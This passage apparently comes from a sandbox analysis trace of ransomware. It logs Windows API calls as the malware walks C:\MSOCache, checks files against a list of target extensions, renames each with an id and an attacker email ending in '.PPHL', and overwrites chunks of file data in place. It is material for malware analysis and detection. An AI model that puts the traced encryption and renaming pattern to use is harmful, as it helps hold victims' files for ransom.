Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.768] lstrlenW (lpString=".dbf") returned 4 [0076.768] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.768] lstrlenW (lpString=".1cd") returned 4 [0076.768] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0076.768] lstrlenW (lpString=".jpg") returned 4 [0076.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.768] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0076.768] lstrlenW (lpString="AccLR.cab") returned 9 [0076.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.812] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=28016276) returned 1 [0076.812] CloseHandle (hObject=0x1e8) returned 1 [0076.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0076.812] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.812] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0076.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.813] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0076.813] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0076.813] ReadFile (in: hFile=0x1e8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.819] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0076.819] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.828] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0076.828] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0076.828] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.850] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.850] WriteFile (in: hFile=0x1e8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0077.161] SetEndOfFile (hFile=0x1e8) returned 1 [0077.161] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fd3fd0 [0077.263] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.263] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fd3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3fd0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.264] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.264] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fd3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3fd0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.267] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.267] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fd3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3fd0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fd3fd0 | out: hHeap=0x5d0000) returned 1 [0077.270] CloseHandle (hObject=0x1e8) returned 1 [0077.270] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.271] lstrlenW (lpString=".doc") returned 4 [0077.271] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.271] lstrlenW (lpString=".docx") returned 5 [0077.271] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0077.271] lstrlenW (lpString=".pdf") returned 4 [0077.271] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.271] lstrlenW (lpString=".xls") returned 4 [0077.271] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.271] lstrlenW (lpString=".xlsx") returned 5 [0077.271] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0077.271] lstrlenW (lpString=".ppt") returned 4 [0077.271] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.271] lstrlenW (lpString=".zip") returned 4 [0077.271] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.271] lstrlenW (lpString=".rar") returned 4 [0077.271] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.271] lstrlenW (lpString=".bz2") returned 4 [0077.271] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.271] lstrlenW (lpString=".7z") returned 3 [0077.271] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.271] lstrlenW (lpString=".dbf") returned 4 [0077.271] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.272] lstrlenW (lpString=".1cd") returned 4 [0077.272] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.272] lstrlenW (lpString=".jpg") returned 4 [0077.272] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.272] lstrlenW (lpString=".doc") returned 4 [0077.272] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.272] lstrlenW (lpString=".docx") returned 5 [0077.272] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0077.272] lstrlenW (lpString=".pdf") returned 4 [0077.272] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.272] lstrlenW (lpString=".xls") returned 4 [0077.272] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.272] lstrlenW (lpString=".xlsx") returned 5 [0077.272] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0077.272] lstrlenW (lpString=".ppt") returned 4 [0077.272] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.272] lstrlenW (lpString=".zip") returned 4 [0077.272] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.272] lstrlenW (lpString=".rar") returned 4 [0077.272] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.272] lstrlenW (lpString=".bz2") returned 4 [0077.272] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.272] lstrlenW (lpString=".7z") returned 3 [0077.273] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.273] lstrlenW (lpString=".dbf") returned 4 [0077.273] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.273] lstrlenW (lpString=".1cd") returned 4 [0077.273] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.273] lstrlenW (lpString=".jpg") returned 4 [0077.273] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.273] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0077.273] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0077.273] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.274] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=36233052) returned 1 [0077.274] CloseHandle (hObject=0x1e8) returned 1 [0077.274] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0077.274] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.274] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0077.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.275] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0077.275] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0077.275] ReadFile (in: hFile=0x1e8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.312] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0077.313] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.349] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.349] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0077.349] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.555] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.556] WriteFile (in: hFile=0x1e8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0077.694] SetEndOfFile (hFile=0x1e8) returned 1 [0077.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fd8 [0077.695] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.695] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fe3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.697] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.697] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fe3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.698] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0077.698] WriteFile (in: hFile=0x1e8, lpBuffer=0x3fe3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fd8 | out: hHeap=0x5d0000) returned 1 [0077.701] CloseHandle (hObject=0x1e8) returned 1 [0077.701] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.701] lstrlenW (lpString=".doc") returned 4 [0077.701] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.701] lstrlenW (lpString=".docx") returned 5 [0077.701] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0077.701] lstrlenW (lpString=".pdf") returned 4 [0077.701] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.701] lstrlenW (lpString=".xls") returned 4 [0077.701] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.701] lstrlenW (lpString=".xlsx") returned 5 [0077.702] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0077.702] lstrlenW (lpString=".ppt") returned 4 [0077.702] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.702] lstrlenW (lpString=".zip") returned 4 [0077.702] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.702] lstrlenW (lpString=".rar") returned 4 [0077.702] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.702] lstrlenW (lpString=".bz2") returned 4 [0077.702] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.702] lstrlenW (lpString=".7z") returned 3 [0077.702] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.702] lstrlenW (lpString=".dbf") returned 4 [0077.702] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.702] lstrlenW (lpString=".1cd") returned 4 [0077.702] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.702] lstrlenW (lpString=".jpg") returned 4 [0077.702] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.702] lstrlenW (lpString=".doc") returned 4 [0077.702] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.702] lstrlenW (lpString=".docx") returned 5 [0077.702] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0077.703] lstrlenW (lpString=".pdf") returned 4 [0077.703] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.703] lstrlenW (lpString=".xls") returned 4 [0077.703] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.703] lstrlenW (lpString=".xlsx") returned 5 [0077.703] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0077.703] lstrlenW (lpString=".ppt") returned 4 [0077.703] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.703] lstrlenW (lpString=".zip") returned 4 [0077.703] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.703] lstrlenW (lpString=".rar") returned 4 [0077.703] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.703] lstrlenW (lpString=".bz2") returned 4 [0077.703] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.703] lstrlenW (lpString=".7z") returned 3 [0077.703] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.703] lstrlenW (lpString=".dbf") returned 4 [0077.703] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.703] lstrlenW (lpString=".1cd") returned 4 [0077.703] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0077.703] lstrlenW (lpString=".jpg") returned 4 [0077.703] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.704] lstrcmpiW (lpString1=".xrm-ms", lpString2=".PPHL") returned 1 [0077.704] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0077.704] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.704] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=715834) returned 1 [0077.704] CloseHandle (hObject=0x1e8) returned 1 [0077.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0077.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.705] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.705] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.705] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.705] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0077.705] GetLastError () returned 0x0 [0077.705] ReadFile (in: hFile=0x1e8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0077.930] WriteFile (in: hFile=0x220, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0077.951] ReadFile (in: hFile=0x1e8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0077.951] WriteFile (in: hFile=0x220, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: 